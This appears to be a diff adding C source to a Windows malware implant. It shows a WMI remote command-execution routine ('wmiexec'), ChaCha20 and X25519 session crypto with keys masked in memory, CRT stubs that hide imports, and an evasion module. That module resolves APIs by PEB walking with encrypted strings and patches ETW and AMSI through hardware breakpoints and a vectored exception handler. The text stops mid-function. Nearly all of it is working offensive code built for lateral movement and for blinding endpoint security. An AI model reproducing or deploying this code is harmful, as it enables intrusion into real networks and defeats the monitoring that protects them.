"[wmiexec] CoCreateInstance: 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
char ns[320];
|
||||
snprintf(ns, sizeof(ns), "\\\\%s\\root\\cimv2", host);
|
||||
bNS = _mbstr(ns);
|
||||
if (!bNS) goto cleanup;
|
||||
|
||||
hr = pLoc->lpVtbl->ConnectServer(pLoc, bNS,
|
||||
NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] ConnectServer(%s): 0x%08lx\n",
|
||||
host, (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hr = CoSetProxyBlanket((IUnknown *)pSvc,
|
||||
RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
|
||||
RPC_C_AUTHN_LEVEL_CALL,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
NULL, EOAC_NONE);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] CoSetProxyBlanket: 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
{ WCHAR _wp[14]; volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_Win32_Process); _i++)
|
||||
_wp[_i] = (WCHAR)(EVS_str_Win32_Process[_i] ^ _k);
|
||||
_wp[sizeof(EVS_str_Win32_Process)] = L'\0';
|
||||
bCls = SysAllocString(_wp);
|
||||
SecureZeroMemory(_wp, sizeof(_wp)); }
|
||||
bMeth = SysAllocString(L"Create");
|
||||
if (!bCls || !bMeth) goto cleanup;
|
||||
|
||||
hr = pSvc->lpVtbl->GetObject(pSvc, bCls, 0, NULL, &pClass, NULL);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] GetObject(Win32_Process): 0x%08lx\n",
|
||||
(unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hr = pClass->lpVtbl->GetMethod(pClass, L"Create", 0, &pInCls, NULL);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] GetMethod(Create): 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hr = pInCls->lpVtbl->SpawnInstance(pInCls, 0, &pIn);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] SpawnInstance: 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
{
|
||||
BSTR bcmd = _mbstr(cmdline);
|
||||
if (!bcmd) goto cleanup;
|
||||
|
||||
VARIANT v;
|
||||
VariantInit(&v);
|
||||
V_VT(&v) = VT_BSTR;
|
||||
V_BSTR(&v) = bcmd;
|
||||
|
||||
hr = pIn->lpVtbl->Put(pIn, L"CommandLine", 0, &v, 0);
|
||||
VariantClear(&v);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] Put(CommandLine): 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
hr = pSvc->lpVtbl->ExecMethod(pSvc, bCls, bMeth, 0, NULL,
|
||||
pIn, &pOut, NULL);
|
||||
if (FAILED(hr)) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] ExecMethod: 0x%08lx\n", (unsigned long)hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
{
|
||||
VARIANT vRet, vPid;
|
||||
VariantInit(&vRet); VariantInit(&vPid);
|
||||
pOut->lpVtbl->Get(pOut, L"ReturnValue", 0, &vRet, NULL, NULL);
|
||||
pOut->lpVtbl->Get(pOut, L"ProcessId", 0, &vPid, NULL, NULL);
|
||||
|
||||
DWORD ret_val = (vRet.vt == VT_I4 || vRet.vt == VT_UI4)
|
||||
? (DWORD)vRet.intVal : 0xFFFF;
|
||||
DWORD pid_val = (vPid.vt == VT_I4 || vPid.vt == VT_UI4)
|
||||
? (DWORD)vPid.intVal : 0;
|
||||
VariantClear(&vRet); VariantClear(&vPid);
|
||||
|
||||
if (ret_val == 0) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] ok host=%s pid=%lu\n cmd=%s\n",
|
||||
host, (unsigned long)pid_val, cmdline);
|
||||
rc = 0;
|
||||
} else {
|
||||
snprintf(output_buf, output_size,
|
||||
"[wmiexec] Win32_Process::Create returned %lu\n"
|
||||
" 2=access denied 3=insufficient priv 8=unknown\n"
|
||||
" 9=path not found 21=invalid param\n",
|
||||
(unsigned long)ret_val);
|
||||
}
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (pOut) pOut->lpVtbl->Release(pOut);
|
||||
if (pIn) pIn->lpVtbl->Release(pIn);
|
||||
if (pInCls) pInCls->lpVtbl->Release(pInCls);
|
||||
if (pClass) pClass->lpVtbl->Release(pClass);
|
||||
if (pSvc) pSvc->lpVtbl->Release(pSvc);
|
||||
if (pLoc) pLoc->lpVtbl->Release(pLoc);
|
||||
if (bNS) SysFreeString(bNS);
|
||||
if (bCls) SysFreeString(bCls);
|
||||
if (bMeth) SysFreeString(bMeth);
|
||||
if (co_init) CoUninitialize();
|
||||
return rc;
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
#include "crypto.h"
|
||||
#include <mbedtls/chachapoly.h>
|
||||
#include <mbedtls/base64.h>
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int crypto_rand_bytes(uint8_t *buf, size_t len)
|
||||
{
|
||||
NTSTATUS st = BCryptGenRandom(NULL, buf, (ULONG)len,
|
||||
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
return (st == 0) ? 0 : -1;
|
||||
}
|
||||
|
||||
int crypto_init(crypto_ctx_t *ctx)
|
||||
{
|
||||
memset(ctx, 0, sizeof(*ctx));
|
||||
return 0;
|
||||
}
|
||||
|
||||
void crypto_free(crypto_ctx_t *ctx)
|
||||
{
|
||||
memset(ctx, 0, sizeof(*ctx));
|
||||
}
|
||||
|
||||
/* ChaCha20-Poly1305 encrypt/decrypt */
|
||||
|
||||
int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
|
||||
const uint8_t *pt, size_t pt_len,
|
||||
uint8_t *ct, uint8_t *tag)
|
||||
{
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
int ret = mbedtls_chachapoly_setkey(&ctx, key);
|
||||
if (ret == 0)
|
||||
ret = mbedtls_chachapoly_encrypt_and_tag(&ctx, pt_len, nonce,
|
||||
NULL, 0,
|
||||
pt, ct, tag);
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
|
||||
const uint8_t *ct, size_t ct_len,
|
||||
const uint8_t *tag, uint8_t *pt)
|
||||
{
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
int ret = mbedtls_chachapoly_setkey(&ctx, key);
|
||||
if (ret == 0)
|
||||
ret = mbedtls_chachapoly_auth_decrypt(&ctx, ct_len, nonce,
|
||||
NULL, 0,
|
||||
tag, ct, pt);
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* ---- Authenticated encryption with session key ---- */
|
||||
|
||||
uint8_t *crypto_seal(crypto_ctx_t *ctx,
|
||||
const uint8_t *pt, size_t pt_len,
|
||||
size_t *out_len)
|
||||
{
|
||||
size_t total = CHACHA20_NONCE_SIZE + pt_len + POLY1305_TAG_SIZE;
|
||||
uint8_t *buf = malloc(total);
|
||||
if (!buf)
|
||||
return NULL;
|
||||
|
||||
uint8_t *nonce = buf;
|
||||
uint8_t *ct = buf + CHACHA20_NONCE_SIZE;
|
||||
uint8_t *tag = buf + CHACHA20_NONCE_SIZE + pt_len;
|
||||
|
||||
/* unmask key, encrypt, re-randomize mask */
|
||||
uint8_t tmp_key[CHACHA20_KEY_SIZE];
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
|
||||
|
||||
int enc_ok = (crypto_rand_bytes(nonce, CHACHA20_NONCE_SIZE) == 0) &&
|
||||
(chacha20_poly1305_encrypt(tmp_key, nonce, pt, pt_len, ct, tag) == 0);
|
||||
|
||||
/* re-randomize mask after use */
|
||||
uint8_t new_mask[CHACHA20_KEY_SIZE];
|
||||
if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
|
||||
{
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
{
|
||||
ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
|
||||
ctx->key_mask[i] = new_mask[i];
|
||||
}
|
||||
}
|
||||
memset(tmp_key, 0, sizeof(tmp_key));
|
||||
memset(new_mask, 0, sizeof(new_mask));
|
||||
|
||||
if (!enc_ok)
|
||||
{
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
*out_len = total;
|
||||
return buf;
|
||||
}
|
||||
|
||||
uint8_t *crypto_open(crypto_ctx_t *ctx,
|
||||
const uint8_t *blob, size_t blob_len,
|
||||
size_t *out_len)
|
||||
{
|
||||
if (blob_len < CRYPTO_OVERHEAD)
|
||||
return NULL;
|
||||
|
||||
const uint8_t *nonce = blob;
|
||||
size_t ct_len = blob_len - CRYPTO_OVERHEAD;
|
||||
const uint8_t *ct = blob + CHACHA20_NONCE_SIZE;
|
||||
const uint8_t *tag = blob + CHACHA20_NONCE_SIZE + ct_len;
|
||||
|
||||
uint8_t *pt = malloc(ct_len + 1);
|
||||
if (!pt)
|
||||
return NULL;
|
||||
|
||||
/* unmask key, decrypt, re-randomize mask */
|
||||
uint8_t tmp_key[CHACHA20_KEY_SIZE];
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
|
||||
|
||||
int dec_ok = (chacha20_poly1305_decrypt(tmp_key, nonce, ct, ct_len, tag, pt) == 0);
|
||||
|
||||
uint8_t new_mask[CHACHA20_KEY_SIZE];
|
||||
if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
|
||||
{
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
{
|
||||
ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
|
||||
ctx->key_mask[i] = new_mask[i];
|
||||
}
|
||||
}
|
||||
memset(tmp_key, 0, sizeof(tmp_key));
|
||||
memset(new_mask, 0, sizeof(new_mask));
|
||||
|
||||
if (!dec_ok)
|
||||
{
|
||||
free(pt);
|
||||
return NULL;
|
||||
}
|
||||
pt[ct_len] = '\0';
|
||||
*out_len = ct_len;
|
||||
return pt;
|
||||
}
|
||||
|
||||
/* base64 encode/decode via mbedTLS */
|
||||
|
||||
char *base64_encode(const uint8_t *data, size_t len)
|
||||
{
|
||||
size_t out_len = 0;
|
||||
mbedtls_base64_encode(NULL, 0, &out_len, data, len);
|
||||
|
||||
char *buf = malloc(out_len + 1);
|
||||
if (!buf)
|
||||
return NULL;
|
||||
|
||||
if (mbedtls_base64_encode((unsigned char *)buf, out_len + 1,
|
||||
&out_len, data, len) != 0)
|
||||
{
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
buf[out_len] = '\0';
|
||||
return buf;
|
||||
}
|
||||
|
||||
uint8_t *base64_decode(const char *str, size_t *out_len)
|
||||
{
|
||||
size_t in_len = strlen(str);
|
||||
size_t decoded_len = 0;
|
||||
|
||||
mbedtls_base64_decode(NULL, 0, &decoded_len,
|
||||
(const unsigned char *)str, in_len);
|
||||
|
||||
uint8_t *buf = malloc(decoded_len + 1);
|
||||
if (!buf)
|
||||
return NULL;
|
||||
|
||||
if (mbedtls_base64_decode(buf, decoded_len + 1, &decoded_len,
|
||||
(const unsigned char *)str, in_len) != 0)
|
||||
{
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
buf[decoded_len] = '\0';
|
||||
*out_len = decoded_len;
|
||||
return buf;
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
#include "crypto.h"
|
||||
#include <mbedtls/ecp.h>
|
||||
#include <mbedtls/hkdf.h>
|
||||
#include <mbedtls/md.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* shared CSPRNG defined in chacha.c */
|
||||
int crypto_rand_bytes(uint8_t *buf, size_t len);
|
||||
|
||||
/* adapter for mbedTLS f_rng callbacks */
|
||||
static int _rng_cb(void *p_rng, unsigned char *buf, size_t len)
|
||||
{
|
||||
(void)p_rng;
|
||||
return crypto_rand_bytes(buf, len);
|
||||
}
|
||||
|
||||
/* generate an X25519 keypair */
|
||||
|
||||
int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey)
|
||||
{
|
||||
mbedtls_ecp_group grp;
|
||||
mbedtls_mpi d;
|
||||
mbedtls_ecp_point Q;
|
||||
int ret;
|
||||
|
||||
mbedtls_ecp_group_init(&grp);
|
||||
mbedtls_mpi_init(&d);
|
||||
mbedtls_ecp_point_init(&Q);
|
||||
|
||||
ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
|
||||
if (ret) goto out;
|
||||
|
||||
ret = mbedtls_ecp_gen_keypair(&grp, &d, &Q, _rng_cb, NULL);
|
||||
if (ret) goto out;
|
||||
|
||||
ret = mbedtls_mpi_write_binary(&d, privkey, X25519_KEY_SIZE);
|
||||
if (ret) goto out;
|
||||
|
||||
/* reverse public key bytes: mbedTLS is big-endian, X25519 wire is little-endian */
|
||||
ret = mbedtls_mpi_write_binary(&Q.MBEDTLS_PRIVATE(X), pubkey, X25519_KEY_SIZE);
|
||||
if (ret == 0) {
|
||||
for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
|
||||
uint8_t tmp = pubkey[i];
|
||||
pubkey[i] = pubkey[X25519_KEY_SIZE - 1 - i];
|
||||
pubkey[X25519_KEY_SIZE - 1 - i] = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
mbedtls_ecp_group_free(&grp);
|
||||
mbedtls_mpi_free(&d);
|
||||
mbedtls_ecp_point_free(&Q);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* ECDH: compute shared = privkey * peer_pubkey */
|
||||
|
||||
int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
|
||||
uint8_t *shared_secret)
|
||||
{
|
||||
mbedtls_ecp_group grp;
|
||||
mbedtls_mpi d;
|
||||
mbedtls_ecp_point Qp, R;
|
||||
int ret;
|
||||
|
||||
mbedtls_ecp_group_init(&grp);
|
||||
mbedtls_mpi_init(&d);
|
||||
mbedtls_ecp_point_init(&Qp);
|
||||
mbedtls_ecp_point_init(&R);
|
||||
|
||||
ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
|
||||
if (ret) goto out;
|
||||
|
||||
/* load private scalar */
|
||||
ret = mbedtls_mpi_read_binary(&d, privkey, X25519_KEY_SIZE);
|
||||
if (ret) goto out;
|
||||
|
||||
/* reverse peer pubkey bytes: little-endian wire -> big-endian MPI */
|
||||
uint8_t peer_le[X25519_KEY_SIZE];
|
||||
for (int i = 0; i < X25519_KEY_SIZE; i++)
|
||||
peer_le[i] = peer_pubkey[X25519_KEY_SIZE - 1 - i];
|
||||
ret = mbedtls_mpi_read_binary(&Qp.MBEDTLS_PRIVATE(X), peer_le, X25519_KEY_SIZE);
|
||||
if (ret) goto out;
|
||||
|
||||
/* Z = 1 for affine representation */
|
||||
ret = mbedtls_mpi_lset(&Qp.MBEDTLS_PRIVATE(Z), 1);
|
||||
if (ret) goto out;
|
||||
|
||||
/* R = d * Qp */
|
||||
ret = mbedtls_ecp_mul(&grp, &R, &d, &Qp, _rng_cb, NULL);
|
||||
if (ret) goto out;
|
||||
|
||||
/* shared secret = R.X, reversed to little-endian */
|
||||
ret = mbedtls_mpi_write_binary(&R.MBEDTLS_PRIVATE(X), shared_secret, X25519_KEY_SIZE);
|
||||
if (ret == 0) {
|
||||
for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
|
||||
uint8_t tmp = shared_secret[i];
|
||||
shared_secret[i] = shared_secret[X25519_KEY_SIZE - 1 - i];
|
||||
shared_secret[X25519_KEY_SIZE - 1 - i] = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
mbedtls_ecp_group_free(&grp);
|
||||
mbedtls_mpi_free(&d);
|
||||
mbedtls_ecp_point_free(&Qp);
|
||||
mbedtls_ecp_point_free(&R);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* HKDF-SHA256 key derivation */
|
||||
|
||||
int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
|
||||
const uint8_t *salt, size_t salt_len,
|
||||
const uint8_t *info, size_t info_len,
|
||||
uint8_t *okm, size_t okm_len)
|
||||
{
|
||||
const mbedtls_md_info_t *md = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
|
||||
return mbedtls_hkdf(md,
|
||||
salt, salt_len,
|
||||
ikm, ikm_len,
|
||||
info, info_len,
|
||||
okm, okm_len);
|
||||
}
|
||||
|
||||
/* ECDH + HKDF to establish session key */
|
||||
|
||||
int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey)
|
||||
{
|
||||
uint8_t shared[X25519_KEY_SIZE];
|
||||
int ret;
|
||||
|
||||
ret = crypto_ecdh(ctx->agent_privkey, server_pubkey, shared);
|
||||
if (ret) return ret;
|
||||
|
||||
/* HKDF info context label, stored as bytes to avoid string extraction */
|
||||
static const uint8_t k_info[] = {
|
||||
0x6b,0x64,0x66,0x2d,0x73,0x65,0x73,0x73,
|
||||
0x2d,0x76,0x31,0x00
|
||||
};
|
||||
|
||||
/* derive session key */
|
||||
uint8_t raw_key[CHACHA20_KEY_SIZE];
|
||||
ret = crypto_hkdf(shared, sizeof(shared),
|
||||
NULL, 0,
|
||||
k_info, sizeof(k_info) - 1,
|
||||
raw_key, CHACHA20_KEY_SIZE);
|
||||
|
||||
memset(shared, 0, sizeof(shared));
|
||||
|
||||
if (ret == 0) {
|
||||
/* store key XOR random mask so it's never plaintext on the heap */
|
||||
crypto_rand_bytes(ctx->key_mask, CHACHA20_KEY_SIZE);
|
||||
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
|
||||
ctx->session_key[i] = raw_key[i] ^ ctx->key_mask[i];
|
||||
ctx->key_established = 1;
|
||||
}
|
||||
memset(raw_key, 0, sizeof(raw_key));
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <errno.h>
|
||||
|
||||
/* Forward declaration — defined in main.c */
|
||||
extern int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int);
|
||||
|
||||
void WinMainCRTStartup(void)
|
||||
{
|
||||
int ret = WinMain(NULL, NULL, NULL, SW_SHOWDEFAULT);
|
||||
ExitProcess((UINT)ret);
|
||||
}
|
||||
|
||||
/* Stubs for CRT functions that -nostartfiles leaves undefined */
|
||||
|
||||
/* atexit: called by libmingwex dtoa/snprintf internals; we ExitProcess so
|
||||
* registered handlers will never run — stub is safe. */
|
||||
int atexit(void (*fn)(void)) { (void)fn; return 0; }
|
||||
|
||||
/* __main: called by some MinGW ctor chains; no C++ ctors in this binary. */
|
||||
void __main(void) {}
|
||||
|
||||
/*
|
||||
* getntptimeofday — normally defined in libmingwex gettimeofday.o, which calls
|
||||
* GetModuleHandleA("kernel32") + GetProcAddress to probe GetSystemTimePreciseAsFileTime.
|
||||
* Our version uses GetSystemTimeAsFileTime directly (already in IAT) — eliminates
|
||||
* the GetModuleHandleA import that gettimeofday.o would add.
|
||||
*/
|
||||
#include <time.h>
|
||||
int getntptimeofday(struct timespec *tp, const void *tz)
|
||||
{
|
||||
(void)tz;
|
||||
if (tp) {
|
||||
FILETIME ft;
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
ULONGLONG t = ((ULONGLONG)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
|
||||
t -= 116444736000000000ULL; /* FILETIME to Unix epoch (100ns units) */
|
||||
tp->tv_sec = (time_t)(t / 10000000ULL);
|
||||
tp->tv_nsec = (long)((t % 10000000ULL) * 100);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* rand_s / __imp_rand_s stubs — prevent libmsvcrt.a(rand_s.o) from linking.
|
||||
* rand_s.o imports GetModuleHandleA+GetProcAddress to find RtlGenRandom.
|
||||
* libmingwex stack_chk_guard.o (pulled by mbedTLS) references __imp_rand_s.
|
||||
* Defining both here satisfies the reference without the GetModuleHandleA dep.
|
||||
*/
|
||||
static errno_t _rand_s_impl(unsigned int *r)
|
||||
{
|
||||
if (!r) return EINVAL;
|
||||
BCryptGenRandom(NULL, (PUCHAR)r, sizeof(*r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
return 0;
|
||||
}
|
||||
errno_t rand_s(unsigned int *r) { return _rand_s_impl(r); }
|
||||
errno_t (*__imp_rand_s)(unsigned int *) = _rand_s_impl;
|
||||
|
||||
/*
|
||||
* _gmtime64_s stub — mbedTLS platform_util.c.obj calls _gmtime64_s which is
|
||||
* provided by libmsvcrt.a(_gmtime64_s.o), another GetModuleHandleA importer.
|
||||
* Stub with gmtime() (same semantics, no GetModuleHandleA).
|
||||
*/
|
||||
#include <time.h>
|
||||
errno_t _gmtime64_s(struct tm *_Tm, const __int64 *_Time)
|
||||
{
|
||||
if (!_Tm || !_Time) return EINVAL;
|
||||
time_t t = (time_t)*_Time;
|
||||
struct tm *r = gmtime(&t);
|
||||
if (!r) return EINVAL;
|
||||
*_Tm = *r;
|
||||
return 0;
|
||||
}
|
||||
errno_t (*__imp__gmtime64_s)(struct tm *, const __int64 *) = _gmtime64_s;
|
||||
|
||||
/* Override __imp_GetModuleHandleA — strong data symbol prevents IAT import.
|
||||
* Library callers (libpthread misc.o etc.) use result for optional feature
|
||||
* detection; returning NULL causes them to use built-in fallbacks. */
|
||||
static HMODULE WINAPI _gmha_impl(LPCSTR n) { (void)n; return NULL; }
|
||||
HMODULE (WINAPI *__imp_GetModuleHandleA)(LPCSTR) = _gmha_impl;
|
||||
@@ -0,0 +1,601 @@
|
||||
#include "evasion.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/* NtProtectVirtualMemory direct call */
|
||||
typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
||||
{
|
||||
static NtPVM_t _fn = NULL;
|
||||
if (!_fn) {
|
||||
char ns[12], fs[24];
|
||||
EVS_D(ns, EVS_dll_ntdll);
|
||||
HMODULE h = _peb_module(ns);
|
||||
SecureZeroMemory(ns, sizeof(ns));
|
||||
if (h) {
|
||||
EVS_D(fs, EVS_fn_NtProtectVirtualMemory);
|
||||
_fn = (NtPVM_t)(void *)GetProcAddress(h, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
}
|
||||
if (!_fn) return FALSE;
|
||||
PVOID base = addr;
|
||||
SIZE_T rsz = sz;
|
||||
ULONG _old = 0;
|
||||
NTSTATUS st = _fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
||||
if (old) *old = (DWORD)_old;
|
||||
return st == 0;
|
||||
}
|
||||
|
||||
/* Dynamic kernel32 API resolvers */
|
||||
typedef BOOL (WINAPI *GTC_t)(HANDLE, PCONTEXT);
|
||||
typedef BOOL (WINAPI *STC_t)(HANDLE, const CONTEXT *);
|
||||
typedef LPVOID (WINAPI *MVF_t)(HANDLE, DWORD, DWORD, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *UMVF_t)(LPCVOID);
|
||||
|
||||
static HMODULE _k32(void)
|
||||
{
|
||||
static HMODULE h = NULL;
|
||||
if (h) return h;
|
||||
char s[16]; EVS_D(s, EVS_dll_kernel32);
|
||||
h = _peb_module(s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
return h;
|
||||
}
|
||||
|
||||
#define _K32_LAZY(type, var, enc_arr) \
|
||||
static type var = NULL; \
|
||||
if (!var) { char _fs[20]; EVS_D(_fs, enc_arr); \
|
||||
var = (type)(void *)GetProcAddress(_k32(), _fs); \
|
||||
SecureZeroMemory(_fs, sizeof(_fs)); }
|
||||
|
||||
static BOOL _gtc(HANDLE t, PCONTEXT c)
|
||||
{
|
||||
_K32_LAZY(GTC_t, fn, EVS_fn_GetThreadContext)
|
||||
return fn ? fn(t, c) : FALSE;
|
||||
}
|
||||
|
||||
static BOOL _stc(HANDLE t, const CONTEXT *c)
|
||||
{
|
||||
_K32_LAZY(STC_t, fn, EVS_fn_SetThreadContext)
|
||||
return fn ? fn(t, c) : FALSE;
|
||||
}
|
||||
|
||||
static LPVOID _mvf(HANDLE hm, DWORD acc, DWORD hi, DWORD lo, DWORD sz)
|
||||
{
|
||||
_K32_LAZY(MVF_t, fn, EVS_fn_MapViewOfFile)
|
||||
return fn ? fn(hm, acc, hi, lo, sz) : NULL;
|
||||
}
|
||||
|
||||
static BOOL _umvf(LPCVOID p)
|
||||
{
|
||||
_K32_LAZY(UMVF_t, fn, EVS_fn_UnmapViewOfFile)
|
||||
return fn ? fn(p) : FALSE;
|
||||
}
|
||||
|
||||
static LPVOID g_etw_fn = NULL;
|
||||
static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer — Dr1 */
|
||||
static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString — Dr2 */
|
||||
static HANDLE g_veh = NULL;
|
||||
static BOOL g_init_done = FALSE;
|
||||
|
||||
typedef PVOID (WINAPI *_AVEH_t)(ULONG, PVECTORED_EXCEPTION_HANDLER);
|
||||
static PVOID _aveh(ULONG first, PVECTORED_EXCEPTION_HANDLER fn)
|
||||
{
|
||||
static _AVEH_t _fn = NULL;
|
||||
if (!_fn) {
|
||||
char s[32] = {0};
|
||||
char sk[16] = {0};
|
||||
EVS_D(s, EVS_fn_AddVectoredExceptionHandler);
|
||||
EVS_D(sk, EVS_dll_kernel32);
|
||||
HMODULE h = _peb_module(sk);
|
||||
if (h) _fn = (_AVEH_t)(void *)GetProcAddress(h, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
SecureZeroMemory(sk, sizeof(sk));
|
||||
}
|
||||
return _fn ? _fn(first, fn) : NULL;
|
||||
}
|
||||
|
||||
/* Resolve ETW/AMSI targets */
|
||||
|
||||
static void _resolve_targets(void)
|
||||
{
|
||||
char s[24];
|
||||
|
||||
/* ETW */
|
||||
EVS_D(s, EVS_dll_ntdll);
|
||||
HMODULE ntdll = _peb_module(s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (ntdll) {
|
||||
EVS_D(s, EVS_fn_EtwEventWrite);
|
||||
g_etw_fn = (LPVOID)GetProcAddress(ntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
}
|
||||
|
||||
/* AMSI — may not be present on all systems */
|
||||
EVS_D(s, EVS_dll_amsi);
|
||||
HMODULE hamsi = _peb_module(s); /* only if already mapped */
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (hamsi) {
|
||||
EVS_D(s, EVS_fn_AmsiScanBuffer);
|
||||
g_amsi_fn = (LPVOID)GetProcAddress(hamsi, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
EVS_D(s, EVS_fn_AmsiScanString);
|
||||
g_amsi_scan_fn = (LPVOID)GetProcAddress(hamsi, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
}
|
||||
}
|
||||
|
||||
/* VEH handler for ETW/AMSI */
|
||||
__attribute__((section(".run"), noinline))
|
||||
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
|
||||
{
|
||||
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
|
||||
CONTEXT *ctx = ep->ContextRecord;
|
||||
BOOL handled = FALSE;
|
||||
|
||||
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
|
||||
ctx->Rax = 0; /* STATUS_SUCCESS */
|
||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x1; /* clear B0 */
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
|
||||
ctx->Rax = 0x80070057; /* E_INVALIDARG */
|
||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x2; /* clear B1 */
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
|
||||
ctx->Rax = 0x80070057; /* E_INVALIDARG */
|
